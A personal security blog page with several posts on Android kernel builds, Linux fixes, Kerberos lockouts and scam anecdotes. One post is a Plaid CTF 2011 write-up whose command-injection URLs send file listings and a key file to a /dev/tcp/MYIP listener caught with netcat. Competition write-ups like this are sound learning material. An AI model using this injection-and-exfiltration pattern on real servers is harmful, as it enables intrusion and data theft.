Rajat Swarup's Blog

Custom Android Kernel Compilation HOWTO

Rajat — Sun, 19 Feb 2012 20:35:56 +0000

I have been trying for the last few weeks to get the Android Kernel source and then build a kernel of my own and then load it into the emulator to try to test out the modules. I spent numerous hours in trying to understand about how to go about it. So here’s a post so I can log all that I did in an effort from going from nothing to having my kernel loaded in the Android Emulator.

There are posts such as the one on eeknay32′s blog and the Stackoverflow post that really helped me in getting started. Also there is a HOWTO in the qemu documentation located at external/qemu/docs/KERNEL.TXT

I first started to follow the directions from here but this is only to get the source code of the Android SDK and other tools and to compile those. That was not initially my goal because getting the source of the tools and SDK was not my goal. Don’t bother downloading this (you could get the tools pre-compiled) unless you really want to compile the tools on your own.

The following steps will help you compile the code for the Android emulator and other tools:
sudo apt-get install git-core gnupg flex bison gperf build-essential \ zip curl zlib1g-dev libc6-dev lib32ncurses5-dev ia32-libs \ x11proto-core-dev libx11-dev lib32readline5-dev lib32z-dev \ libgl1-mesa-dev g++-multilib mingw32 tofrodos python-markdown \ libxml2-utils xsltproc mkdir ~/bin export PATH=~/bin:$PATH curl https://dl-ssl.google.com/dl/googlesource/git-repo/repo > ~/bin/repo chmod a+x ~/bin/repo cd src repo init -u https://android.googlesource.com/platform/manifest -b android-2.3_r1 repo sync . build/envsetup.sh lunch full-eng

Now going to our main goal.

Get the Android source
git clone https://android.googlesource.com/kernel/goldfish.git goldfish cd goldfish
Put the cross compilation toolchain into your path and also put the tools (emulator, android tools etc) in your path:
export PATH=$PATH:~/bin:~/bin/src/prebuilt/linux-x86/toolchain/arm-eabi-4.4.3/bin:/root/bin/src/out/host/linux-x86/bin make ARCH=arm goldfish_defconfig make ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-eabi- -j4
This is a good resource on different errors you could encounter. If you get a message “zImage is ready” you are good to load this image into the emulator to have a running emulator.
Before you run the android tool you need to first set an environment variable otherwise the tool will complain that ANDROID_SWT is not set.
export ANDROID_SWT=/root/bin/src/prebuilt/linux-x86_64/swt

Now you have to download some of the SDK Framework from the Google website so that you can create your own Android Virtual Device (AVD). Without downloading the SDK platform you will get no output when you issue the following command:
android list targets
After you get the right ANDROID platform you can issue the following commands:
android create avd -n my_android1.5 -t 1 emulator -kernel ~/bin/kern/kernel-common/goldfish/arch/arm/boot/zImage -show-kernel -verbose @my_android1.5
Now you should have a running emulator with your shiny new kernel.
Now if you want to compile your own kernel module and load it into the emulator at runtime then you need to use Android Debug Bridge (ADB) tool. See this post, where the author creates a kernel module. For me I had to modify the Makefile a little as shown below:
VERSION = 2 PATCHLEVEL = 6 SUBLEVEL = 29 EXTRAVERSION = -00054-g5f01537 obj-m += hello.o KDIR=/root/bin/kern/kernel-common/goldfish PWD := $(shell pwd) all: make -C $(KDIR) ARCH=arm CROSS_COMPILE=/root/bin/src1/prebuilt/linux-x86/toolchain/arm-eabi-4.4.0/bin/arm-eabi- SUBDIRS=$(PWD) modules

clean: make -C $(KDIR) ARCH=arm CROSS_COMPILE=/root/bin/src1/prebuilt/linux-x86/toolchain/arm-eabi-4.4.0/bin/arm-eabi- SUBDIRS=$(PWD) clean
Issue the make command from the directory where you have your makefile and the sources to get hello.ko.
See the partition not mounted as read only by searching for “rw” mount mode by issuing the following command:
/root/bin/src/out/host/linux-x86/bin/adb shell mount /root/bin/src/out/host/linux-x86/bin/adb push hello.ko /data /root/bin/src/out/host/linux-x86/bin/adb insmod /data/hello.ko

Brother HL-2040 Linux install on Backtrack 4

Rajat — Mon, 31 Oct 2011 23:42:36 +0000

I was getting CUPSD errors when trying to use my Laser Brother HL 2040 printer. But, you can install Brother HL-2040 by going to the brother website and downloading the linux drivers located here:

http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_prn.html#HL-2040

I just installed the lpd driver using the command as follows:
$ sudo dpkg -i brhl2070nlpr-2.0.1-1.i386.deb
When printing now, just select local lpd and then select brother-HL2070 printer from the list (the drivers for both versions are same).

Android Source Downloading Errors

Rajat — Sun, 30 Oct 2011 19:07:03 +0000

Over this weekend I decided to download the Android source tree on my computer (Backtrack 4 R2). The BT4R2 is no longer supported by the Offsec/Backtrack guys (mutt, purehate, etc.).
To start off with I tried to follow the instructions listed here.
The first error I got was with Git, I was using a version earlier than 1.5.4. So I downloaded git version 1.7.4, compiled it and installed it. Then I got the error:
fatal: unable to find remote handler for 'https'
Too bad, I tried recompiling and what not, and I did have openssl…so what was the problem?
The problem was not having libcurl-devel library. So I downloaded the library and launched configure, make clean, make and make install to reinstall git. Now the error was gone.

On the step where I am supposed to execute the following:
$ repo init -u https://android.googlesource.com/platform/manifest
I got the following error:
Exception in thread Thread-1: Traceback (most recent call last): File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner self.run() File "/usr/lib/python2.5/threading.py", line 446, in run self.__target(*self.__args, **self.__kwargs) File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper success = project.Sync_NetworkHalf(quiet=opt.quiet) File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet): File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet) File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle size = r.headers['content-length'] File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__ return self.dict[name.lower()] KeyError: 'content-length' Exception in thread Thread-3: Traceback (most recent call last): File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner self.run() File "/usr/lib/python2.5/threading.py", line 446, in run self.__target(*self.__args, **self.__kwargs) File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper success = project.Sync_NetworkHalf(quiet=opt.quiet) File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet): File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet) File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle size = r.headers['content-length'] File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__ return self.dict[name.lower()] KeyError: 'content-length' Exception in thread Thread-4: Traceback (most recent call last): File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner self.run() File "/usr/lib/python2.5/threading.py", line 446, in run self.__target(*self.__args, **self.__kwargs) File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper success = project.Sync_NetworkHalf(quiet=opt.quiet) File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet): File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet) File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle size = r.headers['content-length'] File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__ return self.dict[name.lower()] KeyError: 'content-length' Exception in thread Thread-2: Traceback (most recent call last): File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner self.run() File "/usr/lib/python2.5/threading.py", line 446, in run self.__target(*self.__args, **self.__kwargs) File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper success = project.Sync_NetworkHalf(quiet=opt.quiet) File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet): File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet) File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle size = r.headers['content-length'] File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__ return self.dict[name.lower()] KeyError: 'content-length' Exception in thread Thread-5: Traceback (most recent call last): File "/usr/lib/python2.5/threading.py", line 486, in __bootstrap_inner self.run() File "/usr/lib/python2.5/threading.py", line 446, in run self.__target(*self.__args, **self.__kwargs) File "/home/user/bin/.repo/repo/subcmds/sync.py", line 182, in _FetchHelper success = project.Sync_NetworkHalf(quiet=opt.quiet) File "/home/user/bin/.repo/repo/project.py", line 926, in Sync_NetworkHalf if alt_dir is None and self._ApplyCloneBundle(initial=is_new, quiet=quiet): File "/home/user/bin/.repo/repo/project.py", line 1444, in _ApplyCloneBundle exist_dst = self._FetchBundle(bundle_url, bundle_tmp, bundle_dst, quiet) File "/home/user/bin/.repo/repo/project.py", line 1514, in _FetchBundle size = r.headers['content-length'] File "/usr/lib/python2.5/rfc822.py", line 384, in __getitem__ return self.dict[name.lower()] KeyError: 'content-length' error: Exited sync due to fetch errors

Seems like this error is caused because the content-length http header is not sent by the repository. If you upgrade to Python 2.7.x you can resolve this error.
Now if you are compiling Python from source, it doesn’t come by default with SSL support. So to add SSL support you should edit the Python-2.7/Modules/Setup file and uncomment four lines:
_socket socketmodule.c # Socket module helper for SSL support; you must comment out the other # socket line above, and possibly edit the SSL variable: SSL=/usr _ssl _ssl.c \ -DUSE_SSL -I$(SSL)/include -I$(SSL)/include/openssl \ -L$(SSL)/lib -lssl -lcrypto
Of course, then you can do the standard steps to compile and install python:
$ ./configure $ make $ sudo make install

repo sync would work very well thereafter.

The case of an ID theft scam

Rajat — Tue, 25 Oct 2011 17:44:41 +0000

An interesting incident happened this past week to a friend – he had his identity stolen. More specifically, someone got a hold of his social security number (SSN), his date of birth (apparently) and his address. What the scammers or their “mules” (a term used to describe criminals who act on behalf of the actual criminal at their behest) did was that they went to the bank and requested to wire a huge sum of money to an account. The neat trick they played was before actually going to the bank they called the Verizon helpdesk and suspended my friend’s phone service. When they reached the bank and showed the bank agent the ID (some sort of a non-standard / fake ID) and gave the SSN to the bank agent, he/she grew suspicious and tried to contact my friend. However, due to Verizon suspending his phone service, the bank agent couldn’t get a hold of my friend. Luckily, the bank agent also sent my friend an email to which he responded promptly. The culprits were arrested and the investigation is still on.
What was quite interesting was, the modus operandi where the criminals know that banks rely on calling the customers if they suspect fraud and they had this covered. Quite intelligent.
So, you know what you need to do if your phone suddenly stops working – check if ID thieves have had a run on you, change all your passwords including email, change your credit card accounts and bank accounts and PINs and place a hold on your credit history with the credit reporting agencies such as Experian, Equifax and TransUnion.

Truecrypt password in history file

Rajat — Sun, 11 Sep 2011 01:49:34 +0000

To avoid saving the truecrypt password in history files and mounting the Truecrypt partitions on bash the following trick helps:

history -d $((HISTCMD-1)) && sudo truecrypt --mount --non-interactive -p

This will avoid saving the password in the .bash_history file and also mount the truecrypt volume from the command line. Of course, if you use this in a shell script then the shell script will have the password in it, so you must not do that.

VPNC Connection Status

Rajat — Wed, 04 May 2011 19:35:02 +0000

I was using the vpnc the other day on my Backtrack 4 R2 system to log in to VPN. I noticed that there was nothing that would give me the status of whether or not the tunnel was up. So I wrote a small one-liner to help me:
while [ `ps aux |grep vpnc|grep -v grep|awk '{print $2}'` ] ; do printf "Connected\r"; done

Plaid CtF 2011 – Writeup #16

Rajat — Mon, 25 Apr 2011 15:19:15 +0000

The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.

My writeup for #16 – Plain sight [200 pts] web
The problem was

The time to strike is now! This fiendish AED employee decided to hide secret data on this website (http://a4.amalgamated.biz/cgi-bin/chroot.cgi)
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes
installed.

Find what AED is hiding, good luck and godspeed.

There was a URL http://a4.amalgamated.biz/cgi-bin/chroot.cgi that allowed remote code execution.
bash, cat, less, more, ls were allowed.

First thing I did was checked if the bash TCP connections were allowed using:

http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/MYIP/5000

That seemed to work. So then I listed the directories one by one until I bumped onto:
I used http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat%20keyfolder/key>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop
while [ 1 ] do nc -l -v -p 5000 done
The answer was esc4p3_str1ng5.

Fun times!

BackTrack4 R2 iwlagn error

Rajat — Fri, 08 Apr 2011 02:29:11 +0000

i updated my backtrack 4 R1 finally using the directions mentioned here. However, after the upgrade my Intel Corporation Wireless WiFi Link 5100 wireless adapter stopped working. My first thought was that the driver was corrupted or something after the upgrade.
But looking through the ‘dmesg‘ command output it became clear that during the startup a particular file iwlwifi-5000-2.ucode could not be located. I thought a reinstall will do it (always works right?).
# apt-get install firmware-iwlwifi
No luck yet! Searching for these files showed me that they were in two locations and both of these were identical (verified via md5sum) :
/lib/firmware-2.6.30.9/iwlwifi-5000-2.ucode /lib/firmware-2.6.34/iwlwifi-5000-2.ucode
So I just added a symbolic link as follows:
ln -s /lib/firmware-2.6.34/iwlwifi-5000-2.ucode /lib/firmware-2.6.35.8/iwlwifi-5000-2.ucode
Voila! It now worked! Hope it helps!

Kerberos/Samba/AD account lockouts

Rajat — Tue, 25 Jan 2011 19:07:25 +0000

I kept getting the following errors on my AD domain in the event viewer and accounts kept locking out:
Pre-authentication failed: User Name: user1 User ID: DOMAIN\user1 Service Name: krbtgt/DOMAIN.COM Pre-Authentication Type: 0x0 Failure Code: 0x12 Client Address: 192.168.246.134

For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp.

In the Directory Service logs I see the following entry:
[snip]
Active Directory could not update the following object with changes received from the domain controller at the following network address because Active Directory was busy processing information.


Object:

CN=User 1,OU=Testing Services Team,OU=TESTER V,DC=domain,DC=com

Network address:

e5523049-53f1-4274-858b-

c68971599acf._msdcs.domain.com
This operation will be tried again later.

For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp.

Turns out this happens if you have samba/winbind/AD type infrastructure. If someone has some processes running (Even if they us sudo) and happen to change their password while the process is running on unix (and using kerberos authentication), the accounts lockout because the kerberos ticket granting ticket (krbtgt) is not current and any object access is considered to be a failed login attempt. This locks out the accounts if you have account lockout implemented in your AD domain security policy.

Craigslist Scams

Rajat — Mon, 06 Dec 2010 07:59:08 +0000

One of my acquaintances told me today of an innovative scam.
So this friend of mine posted an advertisement for renting her apartment out on craigslist. As soon as she posted the ad, an email response came that looked absolutely legitimate.
The respondent claimed that he was a professor in the UK and would be visiting the US on a sabbatical. He even listed a phone number for contact as well as gave some very legitimate looking references. The respondent also said that he wanted to rent the apartment in about 1 months’ time. So far all good. My friend contacted the respondent over the phone and there was nothing odd about the conversation.
In the subsequent conversations, the respondent requested my friend to collect delivery of the furniture for his apartment (which he had indicated that he was going to rent). The respondent said that he would send a check to her and she should then collect the delivery of the furniture and pay the furniture company out of her own pocket. The respondent even sent in a personal check to my friend in advance. She deposited it and sure enough, the amount showed up in the bank account. But what had her spooked out, was how could someone give away a check to some one just like that. For some reason, due to a weird hunch, she decided that she was not going to engage in any financial transactions on the behalf of someone who was sitting hundreds of miles away who she barely knew. In the end, it was this hunch that saved her from losing the money.
So the respondent (thinking that my friend had agreed to undertake the transaction on his behalf) gave her the phone number and information of the furniture company. My friend googled the furniture company but could not find anything. Moreover, the furniture company would not even pick up the phone. This put my friend in doubt over the dubiousness of the potential renter. As it turned out, that the check bounced a couple of days later and if she’d paid the furniture company it might have been used as a way to steal money from my unsuspecting friend.
I guess what could be interesting to know here is that if there was a legitimate phone number (say from Google voice) and a legitimate website (which costs a few dollars for a month now), then my friend could have possibly been duped.
This serves as a reminder to us of the reality of the world we’re living in where scammers are looking for an opportunity to dupe us.